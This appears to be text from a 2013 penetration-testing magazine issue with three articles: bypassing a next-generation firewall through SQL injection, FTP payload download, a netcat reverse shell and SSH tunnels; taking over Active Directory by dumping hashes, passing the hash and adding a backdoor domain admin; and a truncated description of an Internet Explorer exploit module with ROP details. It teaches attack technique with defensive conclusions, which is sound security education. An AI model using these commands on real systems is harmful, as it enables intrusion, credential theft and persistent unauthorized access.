tunnel. so I repeated the process this time using a payload trying to connect to port 80 of my machine. and use it to create a Domain Administrator user. so we just need a web server to publish the binaries http://pentestmag.Bypassing new generation Firewalls with Meterpreter and SSH Tunnels During a recent penetration test I found a Windows host running a web application that let me execute code via an SQL injection error. some problems were detected that had to be solved to achieve the ultimate goal. since a firewall can just inspect the packets in clear. usually have no problem to upload files to. OPEN 08/2013 To solve the problem. I used encryption. but not encrypted. A t this point. and my intention was to use it to pivot to other hosts on the LAN. filtering packets according to the information contained in the header (source IP. protocol.exe which will download the file in the system and end the FTP session with the bye command. This article focus on deep packet inspection firewalls.exe” (reverse meterpreter payload) in a public ftp. Next Generation Firewalls goes far. content management. We can make a first classification between Network Firewall and Host Firewall. Traffic inspection. The result of this is the host will connect to the FTP server.exec master.and download them using any of these tools. We could try to open “Internet Explorer” or “Firefox” if installed to download the file.com This injection creates the file “ftp. Among the Network Firewalls. spam. They can do nothing against an attack via “http” if the “http” protocol is allowed on the network. Once you logged in. to get a “meterpreter remote session”. Keeps track of the state of network connections (such as TCP streams. and how to bypass the malware detection feature. and we only need to run it with another SQL injection. because if canceled or closed it.. But in Windows..exec master. By default we do not have any of these tools or similar ones. things are different..exe bye And then call the command ftp passing as parameter the -s and the file we just created. dynamic packet blocking. inject the following system command: ‘. These are the steps I used to upload the files: • First I leave a file called “met. passing in a text file all the strings that need you to send to the FTP Server.xp_cmdshell “start /B met. source port and destination port). -- The /B switch of the command start prevents opening a window of cmd while running the program. etc. etc. exe.txt” with the following contents: ftp kk@ bin get met. Do not keep information of current connections.txt”. authenticate an anonymous session. txt’. By default the “ftp” is an interactive program. malware. which are static. Basically work with access control lists (ACLs). destination IP. This is achieved with “-s file. So what I did (sure there are more ways) was to use the command “ftp” from windows. As new technologies are emerging. • 2nd Generation: Stateful Firewall. trying to figure out the type of traffic traveling in each packet. and put a Metasploit handler on the attacker host to get a “meterpreter session”. the wanted orders or commands can be introduced. providing IDS capabilities. Generally classified into three generations: • 1st Generation: packet filters (stateless). UDP communication) traveling across it. and for another injection would have to open a new window. there are also different types. At this moment we have the payload on the remote host. is essentially based on signatures (unique patterns to each malware type that http://pentestmag. ending the session with a “bye”. execute the command bin. the classification changes. They work mostly at layer 3 (network layer) of the OSI model (layer 4 just used to get the port numbers).txt IPServerFTP”.exe& echo bye) >ftp.exec master. Packet filtering firewalls are devices that filter incoming and outgoing traffic of a network monitoring IP addresses and ports. the meterpreter session died unless it has migrated to another process. Next Generation Firewalls includes among other features DPI technology to detect and block threats.-OPEN 08/2013 Page 41 . • Using the SQL injection I found. Firewalls and Next Generation Firewalls Today there are different types of Firewall. When executed asks for a username and password to log in. Deep Packet Inspection (DPI) is the technology used by the (IDS / IPS) to monitor packets looking for protocol violations. viruses. but there is a danger that the program remains pending user interaction and not being on the screen would be a problem with that. • 3rd Generation: Application level firewalls. execute get met. but this would have left the process running the query.xp_cmdshell ‘(echo ftp& echo kk@& echo bin& echo get met. There could also be called simply met. This is the SQL injection we would use: ‘.xp_cmdshell “ftp -s:ftp. But the “ftp” for Windows provides the ability to use it in a non-interactively way.exe”. the payload should be detected and the connection would be rejected. we can execute commands more conveniently than using SQL injection. except for certain allowed services. The answer is easy. where can we connect. as well as in IDS and firewalls signature database. cause we need two different sessions..exec master. block or reject the current connection and in some cases.exe”. and another to execute the payload. firewalls and IDS inspect the packets content in clear. block both inbound and outbound traffic on a LAN. 25 (SMTP). Then. one to create the ssh tunnel. for example port 21. This was the case I found during my last penetration test. Usually. just repeat the procedure trying other ports. what ports and protocols can we use. To find it out. And in the remote host using the SQL injection: ‘. To accomplish this. There are different techniques that allow us to escalate privileges and pivot to other systems. In the present case. many firewall configurations. since it is precisely what we have done to upload our payload before. ssh. so these devices would not understand it. We try non standard ports like 6666 to find out if there are restrictions on outgoing connections. the firewall captures every packet.com Page 42 .exe IP_Kali 21 –e cmd..exe” (putty ssh client for command line) using “ftp” procedure explained before. 443 (https). Surely someone asks why would we do this if we already have a remote shell on the victim host?. That means in case a meterpreter reverse connection were launched from inside a Network with this type of protection. Netcat listening on port 21 receives a connection from remote host and spawns a shell Analyze what allow the firewall We know that the remote host can make connections to the Internet on port 21 (FTP). We need to launch an SSH connection from within the LAN to an Internet server and use that channel we created to open a reverse connection (get a shell or session on the remote machine). such as world wide web. We need to find which ports can we use to connect. Usually we try the most common ports like 80 (http). both to escalate (with getsystem) as to pivot. mote host to our local host (with public IP address) on different ports. the packet is forwarded by the outgoing interface.exe”. The first step is to analyze what we can do from the remote machine. after making several tests with “netcat” I could see that from inside the LAN had unrestricted access to the Internet. Figure 1. but a meterpreter session makes things easier. we try to connect from the reOPEN 08/2013 From this shell. So.xp_cmdshell “nc. etc. we need at least two ports. giving us a “remote shell”.. in the local host (attacker host) put a netcat listening on a port we want to try. warns the administrator. the solution is to encrypt from end to end the data traveling in those packets. http://pentestmag.exe” (netcat) and “plink. SSH allow us to send encrypted traffic on a channel that usually firewalls allow. check its header and data section (if any) and if everything is correct and complies with the security policy of the company. etc. what then? How to get a meterpreter session on the remote host? Both. How to make a meterpreter reverse connection over an encrypted channel from end to end passing the firewall? This is where SSH tunnels come into play. As usual. To bypass the inspection. using the session as “gateway” to the victim’s LAN. 22 (ssh). To perform this procedure we upload “nc. ftp. the meterpreter “payload” signature can be found in most antivirus databases.IDS or antivirus manufacturers used to recognize such malware). root@kali:~# nc -vvv -l -p 21 listening on [any] 21 . To achieve our final goal. Other more permissive configurations allow any connection from inside the LAN to the Internet and just blocks the incoming traffic to a non allowed services. etc. 53 (dns).-- This opens a connection between remote host (any port) to local host (port 21) and spawns a “cmd. So if it detects a malware signature in a package. To see what ports we can use. we have to set up a Metasploit handler on port 6666 of the local IP address. first let’s see how SSH tunnels works.gmail.0. The command syntax is: ssh –L <local port>:<remote host>:<remote port> <gateway> Remote port forwarding creates a socket on the SSH server host connected to the host and port you specify.exe” our SSH client for windows. but now instead of having access to an SSH server.10. The host must be reachable by the SSH Server host. we have to create a meterpreter payload connecting to 127. the IP adOPEN 08/2013 After running this. If we opened the browser from local host and visit http://localhost:6666 we would access the Gmail website and Google logs would see the connection coming from the SSH-SERVER.0. As you know.168.1:6666 and on the other end of the tunnel. And why we want to connect to our host? Easy too.11 (Windows Server).1 This connects our local port 6666 to port 3389 on host 192. to our host (Kali Linux). local port forwarding.11:3389 10.0. an SSH connection is encrypted and firewalls usually allow it if its coming from within the LAN to the Internet. because SSH allows port forwarding between hosts using the established SSH connection. The syntax is as follows: ssh –R <server port to open>:<remote host>:<remote port> <server> Example: ssh –L 6666:www. dress within the LAN from the SSH Server is 192.168.1.11:3389 SSH-SERVER The above example would connect the local port 6666 to port 80 on www. Basically it is the same as local port forwarding. The syntax is: ssh –D <port> <server> http://pentestmag. The purpose of this is to make an ssh tunnel forwarding the port 6666 on the remote host (the victim) to port 6666 on local host. Suppose the example above. SSH allows 3 types of port forwarding. Imagine you have ssh access to a host located on the LAN of our client behind a NAT firewall. remote port forwarding and dynamic port forwarding.0.168.168.0. The goal is to make an SSH connection from the victim system. Now. We launch or ssh tunnel like this: root@kali:~# ssh –L 6666:192. making everything you send to port 6666 on the remote host going to port 6666 on local host.SSH Tunnels Once satisfied that we can connect any port with “netcat”. Well.com through the SSH-SERVER. the local host can launch rdesktop to connect to the Windows server.0. we just have access to a host with an SSH client.0.11.0. Suppose the public IP address of the firewall is 10.168.0. This is very useful for a penetration test in the following case. root@kali:~# rdesktop localhost:6666 Dynamic port forwarding This type of forwarding creates a SOCKS proxy on the specified port on the client host that can be used by programs such as “proxychains” to reach remote networks using the tunnel as gateway. the difference is that socket is created on the remote machine. which in turn is connected to other host on the LAN where there is a Server with a Terminal Server enabled only to receive connections from the LAN.0.168. Now we can connect to Server using rdesktop like this: root@kali:~# rdesktop localhost:6666 Remote port forwarding Local Port Forwarding Local port forwarding allows us to open a “socket” on the local host connected to a port on remote host. We need to configure an SSH server on our local host and launch the client from the remote host to our server redirecting port 6666 on the local host (which now has the SSH server) to port 3389 of internal Windows host (host reachable by the SSH client remote host).10.0/24 lan): ssh –R 6666:192.gmail.com:80 SSH-SERVER Example (executed from a host in 192. Comunication flows from local to remote. now is the turn of “plink.com Page 43 .10 and the IP address of the Windows Server is 192. Note that the connection to our host comes from 10.exe” and “nc.0.168. “plink.1) on port 6666. we can invoke “ssh” (we’re talking specifically about OpenSSH.0.0.168. Here you can specify the -l user -pw password to pass the username and password without having to copy the RSA keys. This “payload” when invoked from a Windows host will make a connection to itself (127. Since then.65. Plink is the command line version of an SSH client known as “Putty”.65. If yes. http://pentestmag. 10. we have gotten the remote host key in the host “putty” cache. OPEN 08/2013 OpenSSH and Putty The command will invoke “plink. and also in the case of ssh Unix/Linux. we create our meterpreter payload pointing to port 6666 of 127.10.10. When working from a console achieved via “netcat” or directly from SQL injection.0.openssh. using local port forwarding to open a port on the remote host that connect to a port of our local host.0. we cant use this type of interactive commands because do not have access to the various standard file descriptors and therefore the command will wait for a response that can not be sent.168.20 Network IP LAN: 192.168.10. Plink offers no parameter to avoid checking server key. but you can go arround. When we invoked it to connect to a remote host.20.com Page 44 .168.10.15 First.0. which is the most widely used SSH package on Linux http://www.65. org/) with the -o UserKnownHostsFile =/dev/null -o StrictHostKeyChecking=no to not check the signature of the remote server.65.0.exe” and when asked if you want to add the unknown server key to the cache. now we configure proxychains to use the port 9050 of localhost. which can be found on Windows registry. and then reach the terminal server at 192. If you need to open a second SSH tunnel against the same host.10. in the key “HKEY_CURRENT_ USER\Software\SimonTatham\PuTTY\SshHostKeys”. first make a connection with “netcat” to have a console where execute commands cause will always be more comfortable than any “SQL injection” or “PHP Shell”.11 After seeing how SSH tunnels work.exe” to the victim host. That is cause the host is behind a NAT Firewall.168. We can invoke “plink. so first time we connect to a new host will show the save RSA message. Following with the same scenario. Figure 2.exe” from Windows. it is quite clear that what we need to make the connection from the remote host to our attacking host. but the IP of the remote host is 192.0/24 Private IP Firewall: 192.0.10 • Private IP from second host behind the firewall: 192.authorized_keys so we do not ask for the password.254 Private IP from host behind the firewall: 192. we can put the public RSA key of the user who attempt to connect to the remote host in the file .10.168. it will pass the character y and plink will save the key and will go with its normal execution.Example: root@kali:~# ssh –D 9050 10. SSH is an interactive command.0. Well.0. In this case. we will use “plink. invoke the “echo y” is no longer necessary. widely used in Windows environments.exe” for the first time against a host like this: C:\>echo y | plink.x stands for public addresses): • • • • • Public IP attacker machine: 10. then asks the password for the user you specified when invoking the command. To fix this. The creation of a meterpreter reverse tcp shell in binary form with “msfvenom” We upload this payload.exe –l user –pw password SSHSERVER This example creates a SOCKS proxy on port 9050 on the local host from which we can reach any port of any host within the SSH Server LAN (we can reach any host the SSH Server host can reach). first check the RSA signature of the host and if it does not know that host.65.0. asks if you want to connect. suppose the following scenario (for demo purposes we use two private IP address ranges. Once uploaded the three files.10 Firewall public IP: 10.11 with the following command: root@kali:~# proxychains rdesktop 192.1 (localhost).1 You can’t avoid this. we set up a Metasploit “handler” with the same “payload” that we have created and uploaded to the windows box listening on port 6666 (the port that we configured in the ssh tunnel).168.10 (the IP of the host itself). Configuration of the Metasploit multi handler to get the reverse meterpreter session Now using “plink. BINGO!!! We have a “meterpreter” session on the remote host bypassing the next generation Firewall. just execute the payload “met.10. The following picture shows it.0/24.“handler” will come through the tunnel and therefore will be from the end of the tunnel on the host itself to port 6666. Once we achieve our goal. Port 6666 open and listening on remote compromised host Now on the local host (attacker). On the meterpreter session we can use the script “arp_scanner” to find hosts on the network to attack. Once the entire stage set. As “LHOST” put the IP of the local host because the connection to the OPEN 08/2013 Figure 8. This is because the connection comes through the SSH tunnel. Figure 7. As seen in the image.com Page 45 . Metasploit sees the connection coming from 10. we can use this session to pivot and try to attack other boxes on the local network 192. Establish a remote session using netcat Figure 6. The following figure shows the operation of the script. Figure 5.exe” we must create an SSH tunnel to connect the port 6666 of the remote host (compromised host) to port 6666 on the local host (port numbers can be any.65. but then you have to create the payload to use those you decide).0. the “handler” on the local host will receive the connection and send the “stage” for opening the session. and how to add a route to Metasploit for using http://pentestmag.exe” on the remote box. Figure 3. how to capture the “auth hashes” of the compromised box. Once executed. you can see port 6666 in windows machine in “LISTENING” state. Establish an ssh connection back from remote compromised host to attacker host forwarding port 6666 on remote host to port 6666 on attacker host Once the SSH connection established. Using arp_scanner meterpreter script to discover more hosts on the compromise network The next picture shows how to escalate privileges using “getsystem” meterpreter command. Meterpreter reverse session opened on the attacker host Figure 4. The better choice. but also demonstrated how easy it is to bypass this restriction. participate in the “Computer Security Course” from the Lifelong Learning Centre (CFP). always keeping in mind the value of what we are trying to protect and the cost of the security measures deployed. malware or intruders. this component will prevent hosts from becoming infected with most malware and viruses on the Internet. Conclusions • I think we all agree that every company needs a firewall that separates their local network from the Internet. OSCP ®. etc. I am Computer Engineer from the Universitat Jaume I in Castellón and computer security specialist with over 7 years of experience and CISSP ®. all network infrastructure should have various security measures. even the most expensive one can’t protect an entire network infrastructure from being attacked. http://pentestmag. DMZ. but we must be aware that a firewall can not be the only element of network security. but unfortunately I can no longer spend much time on it. In this article we have seen how in some cases the firewall detects malicious code and is capable of blocking the connections. whether running. A firewall. and at UJI. Currently working as a Senior IT Security Analyst (PenTester) in Advanced Technologies for Security SLU (AT4Sec). focusing on Metasploit Framework and related tools. Based on my experience as a consultant. My great passion is kiteboarding. CCNA ® and CCNA Security certifications. At UPV. Although it is known that only really serve to identify old threats. Host Antivirus and Antimalware. I am also a proud father and husband.168. It must bear all required network traffic.the opened session (number 1 in this example). caused by possible failures. Periodic review of the security elements and policies (the measures that work today maybe don’t work against tomorrow’s attacks). is the deployment of a defense in depth strategy. It is recommended to pass a Penetration Test once a year or two. If we have hosts exposing services to the Internet. but that is beyond the scope of this article. I would recommend at least the following: • Perimeter Firewall (first line of defense). dump hashes from compromised host and configure a route in Metasploit to reach the remote network from the attacker host • After adding the route. separate from the LAN by a fire wall (Firewall may be the same perimeter that has 3 zones. • Traffic Monitoring System (We must try to be aware of everything that goes through our network in real-time if possible. So. participate on the Security Course “Attack and Defense” from the Enterprise University Foundation (FUE). where I show PenTesting techniques and tools. My name is Ignacio Sorribas. we can use any Metasploit module (psexec comes to my mind) against hosts on the LAN. In my free time. or another Firewall). but will force the intruder to try harder.65. I have two little boys (hackers in way) and a wonderful wife.com IgNacio SoRRibas Page 46 .0/24 network. and the more features possesses the better. go biking. but it can be OPEN 08/2013 very expensive. It will allow us to find anomalous behavior within the LAN.. • • Figure 9. Escalate privileges with get_system. I like to practice all the sports that I can. I am also an external teacher of Security courses in Universitat Politécnica de Valencia (UPV) and Universitat Jaume I de Castellón (UJI). which means it must be implemented so many layers of security as possible (like an onion). but not the only. it is more than advisable to create a demilitarized zone (DMZ) where place those hosts. to reach the 192. especially if we publish services and hosts to the Internet. while more economical). playing handball. They will not help much against a targeted attack. or the router if they are separate devices. being the first line of security between the Internet and the LAN. A network Antivirus and Antimalware. It must be one element of the company’s security policy. Usually in the firewall itself. Passive monitoring can be very useful. My specialty is Penetration Testing in Web environments and data networks. . whereas possibilities are great. After a while. Figure 1. we're all pros. 'But hey. Please. e spend a bucket-load of money purchasing state-of-the-art defense technology and feel that we are safe. As time goes by and the infrastructure grows. This need is caused by the fact that our systems are constantly at risk from either internal or external attacks. more and more holes are created and it keeps getting harder and harder to keep track of all the new updates and patches that come out. Scenario Although I listed the network diagram (see Figure 1). The point is that our knowledge of the target system is limited.com Page 48 . Download the complete issue. some find themselves saying 'It won't happen to me' and 'What are the odds of that to happen?' Article comes from Pen Test EXTRA. Without proper implementation of patch management security holes. we often come across a need to secure infrastructure. sitting somewhere else within the range or has plugged a network cable to the wall. that nothing can hurt us. which take about 8-10 min to be executed. possibly in a coffee shop nearby. come on. which I will demonstrate. Network diagram http://pentestmag. note that. we do not know how many computers there are or what is on them. right? What's the worst that could happen?' The attack. that is a complete takeover OPEN 08/2013 W with just a few steps.Taking Over an Active Directory As Pentesters and Security Specialists. We will need to find that out. the Operating Systems and software that are in use in this demo are real. of course. which turn into security risks. even though this is a relatively small scenario and the systems were not hardened properly. The following demonstration reminds a checkmate in four moves. presents a simple scenario where we do a simple takeover of an active directory while using only backtrack and our knowledge. emerge and give hackers (from inside and outside) chances they need to infiltrate. Our scenario describes a situation in which an attacker is outside an organization. This could be the case of Blackbox penetration test or something similar. The Armitage is a Graphical User Interface (GUI) and as such shows things more clearly than its Command Line Interface (CLI) counterpart. The Metasploit CLI is faster than its GUI counterpart due to the lack of need for graphic manipulations. 2.com . A Few Words About Metasploit And The Difference Between The Armitage And The Metasploit CLI (msfconsole) Metasploit is an open-source and powerful framework that is mostly used by penetration testers as a Swiss army knife. If the system was properly hardened. such as: scanning for open ports (based on NMAP) all the way to stealing credentials. we might use social engineering to either open ports or disable the firewall. Most of the modules are customizable. inserting backdoors and performing post-exploitation. might be used remotely (depending on the scenario). the Armitage presents scanned computers in a user-friendly and informative manner. the GUI version – Armitage) and add our discovered hosts (see Figure 3). In that case. and as such. It offers a list of its tools (by default on its left side).1. Results of NMAP OPEN 08/2013 Figure 3. mod- ule based. We scan our network using NMAP and try to discover the computers and open ports (see Figure 2). As we can see on Figure 2. but might work sometimes). the Interface will present monitors displaying an informative photo (Windows for Windows OS and Linux for Linux OS). we can start classifying our newly discovered computers. we would get no results (blocked by firewall) or get results that are mostly false-positive (such as F-5 web application firewall). exploits. both use Windows based OS (port 445 microsoft-ds). what gives the user an ability to use Metasploit in various scenarios. The Armitage as well contains tab-based console windows for using both the graphic and textual tools. all in one framework. what makes it easier to use for beginners. Starting with black screened monitors (for computers whose OS was not. The Metasploit framework has an internal. to be launched against the discovered computers and systems and is equipped with a special operations such as 'Hail Mary'. or we could try to use DDoS (Distributed Denial of Service) in order to take the firewall down (not perfect. or not yet discovered). 3. For instance. What we can also see. is that one might be a server and the second is a PC. Pentesters can use Metasploit for simple tasks. We open Metasploit (in this case. Armitage – adding and discovering hosts Page 49 http://pentestmag. exploiting various discovered vulnerabilities. updatable exploit database with an ability to integrate new modules by programmers (what is beyond the scope of this article). payloads and post-exploitation modules. While the GUI tend to Figure 2. all-in-one set of tools that provides a variety of scanners. At this point. We start off by running a 'Hail Mary' attack to unleash Armitage's smart automatic exploitation against the two computers that we have previously discovered and added. the 'Hail Mary' would have made no progress. those bypassing certain firewall rules if misconfigured. We can also use social engineering to install applications that might provide vulnerabilities (old and outdated applications). but there are much more commands that are available. and launch against our target(s)). sessions -v – shows the current established sessions with Meterpreter.com . configure applicable exploits with the Meterpreter payload. Basic Metasploit operations search xxx – Searches the DB for related modules (xxx stands for the required module). and we would not have got a Meterpreter session. for example: search psexec use xxx – loads a module (xxx stands for the required module). This could be achieved by keeping the system and its applications as upto-date as possible. for example. we are still not inside. Its purpose is to provide complex and advanced features. This is not a lot but we gained a foothold inside now. set xxx yyy – sets the xxx parameter with the yyy values.2. (it uses the 'vim' so all the editor's commands are available). Note: using getsystem will make the Meterpreter to try and get local system-level privileges Figure 4. for example: set RHOST 192. You will find some basic Metasploit operations (both for Armitage and the CLI) in Table 1. clearev – clears the Application. A Few Words About The Meterpreter (The Meta-Interpreter) The Meterpreter is an advanced payload that is included in the Metasploit Framework.clutter up the display.1 run/exploit – runs the loaded module (after configuring). Table 2. what makes it. It runs in a few phases: searches for applicable exploits. At this point. System. Should 'Hail Mary' fail. The 'Hail Mary' helps us to quickly throw against the machine everything we can to gain the access. Basic Meterpreter commands help – displays the Meterpreter help menu. The result – the XP Computer is ours. The payload issued a reverse tcp bind which makes the target computer issue a tcp session request towards the attacker’s computer. most or all exploit would have failed. If the computer was properly hardened. Armitage – Meterpreter session is opened against one of the computers OPEN 08/2013 Page 50 http://pentestmag. In the Figure 4 we can see that we have a Meterpreter session now open against the XP Computer. download – downloads a file from a remote machine (note the use of the double-slashes when giving the Windows path). where we get high results with small amount of effort on our side. rather than doing everything manually (load and execute scanners. upload – uploads a file into the target (as with the 'download' command. launches them and launches payloads (such as Meterpreter). by avoiding installation of any unnecessary applications and by disabling unnecessary services. munching inside and gaining control of at least one of the computers. background – sends current Meterpreter session to the background and return you to the msf prompt. edit – opens a file located on the target host. execute – runs a command on the target.168. in my opinion. The Meterpreter is a special command shell (an established session) that allows the attacker to perform Table 1. better suited for more advanced users. for example: use exploit/windows/dce show options – shows the modules options. you need to use doubleslashes with the 'upload' command). The main reason why we would like to use such a tool is its automation. We need to start going. and Security logs on Window systems. instead of using testing scanners and exploits at step by step manner. the CLI provides less cognitive load and helps focusing on the target. we could try to update Metasploit to give it more up-to-date vulnerabilities or try step by step searching for more exploit that might have eluded 'Hail Mary'. clear the event log (on windows machines. -l / --dump _ lsa – dump LSA secrets. as shown in Figure 5. The stronger the permissions and privileges are. we inject (using the upload command) a little software called 'gsecdump'. we use the upload command to inject the tool to any folder that we want. We only see hashes of local users but we need domain-level users. -s / --dump _ hashes – dump hashes from SAM/AD. A Few Words About Credentials Grabbers And 'gsecdump' Table 3. Since the OS stores such information as logons and hashes (of many applications). -u / --dump _ usedhashes – dump hashes from active logon sessions. for 'housekeeping'). To help ourselves. Now. uploading and downloading files to/from the target. Now. Common gsecdump options USAGE: gsecdump [OPTIONS] Common options: -a / --dump _ all – dump all secrets. it might not be as simple to take advantage of a computer that is regularly maintained. It can also extract LSA secrets. which by default caches locally passwords in their hash form to be used when the AD is unavailable (due to maintenance or 'on the go' scenarios) or for faster login. which is a hacking technique that allows an attacker to authenticate to a remote server/service by using the underlying NTLM and/or LanMan hash of a user's password. in terms of performance. us- ing strong hashes and encryption. However good the idea sounds. Armitage – Hashdump results OPEN 08/2013 Page 51 http://pentestmag. We download gsecdump to our backtrack machine first. such an attempt requires very strong processing power and still takes a lot of time. The reason for which the hashdump and similar tools work. You will find some basic Meterpreter commands in Table 2. That is why we have to get tricky. it is possible. connections.advanced operations such as: stealing credentials. is because of the caching mechanism that is used by windows. that is obtaining stronger privilege and permissions on a system or network. Even if we try some advanced Meterpreter commands. instead of requiring the associated plaintext password as is normally the case. we face a problem. with enough privileges to extract them. so it is available on both Armitage and the msf. we took advantage of the SMB protocol. our real target might be a public computer that is connected to both the internet and internally or a computer of an uneducated employee who does not follow security protocols. / -w --dump _ wireless – dump Microsoft wireless Figure 5. we need to start digging and escalate our privileges to a domain-level user with as much power as possible. The reason for choosing to use hashes is that we could take an advantage of such vulnerabilities as 'Pass the Hash'. what implies that the system has not been properly hardened. Although.com . Now. we interact with our Meterpreter session and use the Hashdump command. the more can be done. odds are that we will not get the hashes which we need. In a real time scenario however. taking a snapshot of the webcam. While the Meterpreter session is open. As seen in the Figure 4. necessary for access and system manipulation. gsecdump is a tool for extracting hashes from SAM/AD and active logon sessions. since Meterpreter has gotten system-level privileges (I chose to upload it to c:\\windows\\system32 because it is the default location that we get to after accessing the windows shell under system account). it might not be advised for the security standpoint. Credential grabbers are generally used by attackers and pen testers for privilege escalations. taking a screenshot and many more! The Meterpreter is a textual tool. We might try to brute-force users and passwords but. As we can see. there would have been no cached administrative credentials on the computer (or even none at all). Now.Note that if the system was hardened better. When using this technique. should an attacker or pentester require it in the future. We need to get a domain-level user of our own. which we have acquired. is for local use only and is not a domain user so. RDP Client http://pentestmag. what would have prevented the ability to use this technique for privilege escalation (another approach might be to use a keylogger to capture keystrokes). A backdoor is usually used to get an easier way in. to use it as a backdoor. Armitage – gsecdump results: Domain Administrator Figure 7. we can use the hash to execute an attack called ‚Pass the Hash’ which takes advantage of the fact that some systems accept passwords that are sent to them as hashes (such as PSEXEC). but we are not quite there yet. which is given the hash). However we used a hash. We have taken over the AD Server now (see Figure 7). causing the system to cache the hash. although we are inside the AD server. system's administrator has made a fatal error and has previously entered locally with the Domain Administrator's account. You will find some of its common options in Table 3.infoworld. most applications do not use this authentication method.com Page 52 . instead of passing the plaintext password. Our next step will be to change to Shell (using the shell command) and run the two following commands: Figure 6. we do not need to brute force the hash (for more information regarding this technique visit: http://www. In short. we get what you can see on Figure 6. Now we can use our newly found hash and run a PSEXEC command from within the Armitage (That takes the parameter SMBPass. which might has gotten us this far. this technique. The system account. com/d/security/defeat-dreaded-pass-the-hash-attacks-179753). we are not inside a domain. We are inside but using a locally System account. The Armitage – second Meterpreter session against the AD OPEN 08/2013 Figure 8. When we upload the file and run it (changing to a windows shell using the command shell from our Meterpreter session). passes the hash which is acceptable by some authentication mechanisms. viruses. rootkits and others. searching for sensitive documents (financial documents. opening ports on the firewall. Net Group 'Domain Admins' Attack /ADD /DOMAIN. install tools such as Cain and Abel. vulnerability assessment. In a real scenario. working with many AD environments. for instance. He is Information Security Consultant at Defensia Company now. code review and many more. He works also as Instructor for Defensia Company in many Information Security related issued. may be used for malicious actions. he can further exploit the system by. Has years of experience as a System Administrator and Integrator. best at C# language. OPEN 08/2013 Gilad OfiR . as we can see. installing worms.) and much more. we have managed to take over an infrastructure with little effort on our side. Computer Programmer. might and will prove to be catastrophic. Conclusion As we can see. he have been working mostly with Windows OS and Linux OS. but. private documents. with just a few steps. pentesting. This will give us a backdoor user with Domain admin privileges. After an attacker has taken over an active directory. advising customers in Information Security related issued. integrated with other Microsoft-related products.Net user Attack P@SSw0rd /ADD /DOMAIN. the results of having our AD taken over and the attacker having gained the full access as a Domain-Admin. These two commands are common among administrators and personnel that work with user-related issues. system and network diagrams etc. The final step of our attack is to use an RDP Client and win. when attack is performed against a real environment. Download the complete issue. DEP (Data execution prevention).com Page 54 . we will be showing that same ID property remote code execution vulnerability can be exploited easily.MS Internet Explorer Same ID Property Remote Code Execution Vulnerability In this article you will learn about concepts behind Internet Explorer memory corruption. You should know memory structure. The affected IE remote code execution vulnerabilities are as follows: • Center Element Remote Code Execution Vulnerability – CVE-2012-1523 • HTML Sanitization Vulnerability – CVE-20121858 • EUC-JP Character Encoding Vulnerability – CVE-2012-1872 • Null Byte Information Disclosure Vulnerability – CVE-2012-1873 • Developer Toolbar Remote Code Execution Vulnerability – CVE-2012-1874 OPEN 08/2013 Article comes from Pen Test EXTRA. Metasploit familiarization. Microsoft recently released a cumulative security patch bulletin for twelve Internet Explorer vulnerabilities which can be exploited by an attacker if a user views a specially crafted webpage. null byte information disclosure vulnerability which reveals the memory corruption shown in internet explorer. W • Same ID Property Remote Code Execution Vulnerability – CVE-2012-1875 • Col Element Remote Code Execution Vulnerability – CVE-2012-1876 • Title Element Change Remote Code Execution Vulnerability – CVE-2012-1877 • OnBeforeDeactivate Event Remote Code Exe cution Vulnerability – CVE-2012-1878 • Insert Adjacent Text Remote Code Execution Vulnerability – CVE-2012-1879 • Insert Row Remote Code Execution Vulnerability – CVE-2012-1880 • On Rows Inserted Event Remote Code Execution Vulnerability – CVE-2012-1881 • Scrolling Events Information Disclosure Vulnerability – CVE-2012-1882 Internet explorer does not handle the objects in memory properly therefore creates a vulnerability which could be further exploited by an attacker. we have shown some of vulnerabilities like HTML sanitization vulnerability. Local or remote vulnerabilities can be exploited by sending a specially crafted webpage which makes a victim infected if it is exploited successfully. what kinds of bypass techniques are used to launch buffer overflows. If any of the vulnerability is exploited by an attacker then same privileges of target computer can be obtained and it can be severely hampered by an attacker. eb browser vulnerabilities are widely exploited by attackers and often lead to a complete compromise of the target computer. return oriented programming basics. ASLR (Address space layout randomization) and exploitation methods to corrupt memory. Same ID property remote code execution vulnerability is caused by memory mismanagement http://pentestmag. heap based and stack overflow attacks and return oriented programming concepts to exploit remote code execution vulnerabilities. of internet explorer. ASLR loads software modules such as DLLs into memory at randomized locations which makes difficult for an attacker to find such functions like URLDownloadToFile () and CreateProcess () but we use ROP return oriented programming. and to change the address of the ESP which is the first Page 55 http://pentestmag. Let’s see how this internet explorer same id deleted property vulnerability can be exploited: In our demonstration.dll Figure 1. but nevertheless carries on using it.dll } ]. 'RopOffset' => '0x5f4'. [ 'IE 8 on Windows XP SP3 with JRE ROP'. Vista.dll file will be exploited as Internet Explorer cannot handle same property id objects. Ordinary programs are executed once the EIP value (instruction pointer) is known. heap overflow and stack overflow attacks are not possible to launch since DEP and ASLR do not allow you to change the value of the EIP.dll and JRE. we have chosen to exploit msvcr71. 'Ret' => 0x7c348b05 # xchg eax. Ordinary program is executed once the value of EIP (Instruction pointer) is known and DEP and ASLR won’t let you change the value of EIP and inject the exploit code therefore return oriented programming is used which controls the ESP (stack pointer) and the memory corruption is accomplished. not for executable code. 7 with IE 6. Exploitation commands on Metasploit OPEN 08/2013 The initial exploit code indicates the exploitation method used – ROP/JRE. The msvce11. this attack cannot be executed.dll library . In this case. 'RopOffset' => '0x5f4'. we will show how to use return orient- ed programming and the return-to-libc process to control the ESP (stack pointer) and exploit memory corruption vulnerabilities. DEP prevents code from running in system-allocated memory. Memory corruption attacks are used to launch buffer. simple buffer overflow. esp # ret # from msvcrt. { 'Rop' =>: msvcrt. 'Ret' => 0x77c15ed5 # xchg eax.com . 7. { 'Rop' =>: jre. we will be using a Metasploit module to exploit this vulnerability. As a result. When an object having a specific id is deleted then it is not completely removed from memory and if an attacker calls the same object with same ID which bypasses the data execution prevention and address space layout randomization because there is no code injection involved therefore it becomes difficult to prevent using ASLR and DEP process. stack and heap overflows. Since most of the common operating systems (Windows-XP. so that it can be allocated again later. & 8) are affected. IE crashes and allows remote code execution. esp # ret # from msvcr71. DEP allocates memory blocks so they can be used for data only. we have selected the following computers: • • • • Operating System: Windows 7 Internet Explorer: IE 8 Attacker Machine: Backtrack-5 R3 Metasploit Module: Metasploit/exploit/browser/ ms12_037_sameid The exploit code is shown below (written in Ruby): msvcrt ROP'. DEP and ASLR cannot stop remote code execution therefore it is exploited. but it doesn't prevent code from being jumped to via code pointers stored in execution prevented memory. which reduces the surface area into which hackers can inject their malicious shell code. These days. If Java is not installed on the target computer. This process requires an old JRE (Java runtime environment) which is non-ASLR and associated with msvce11. this happens when a program returns a surplus block of memory to the operating 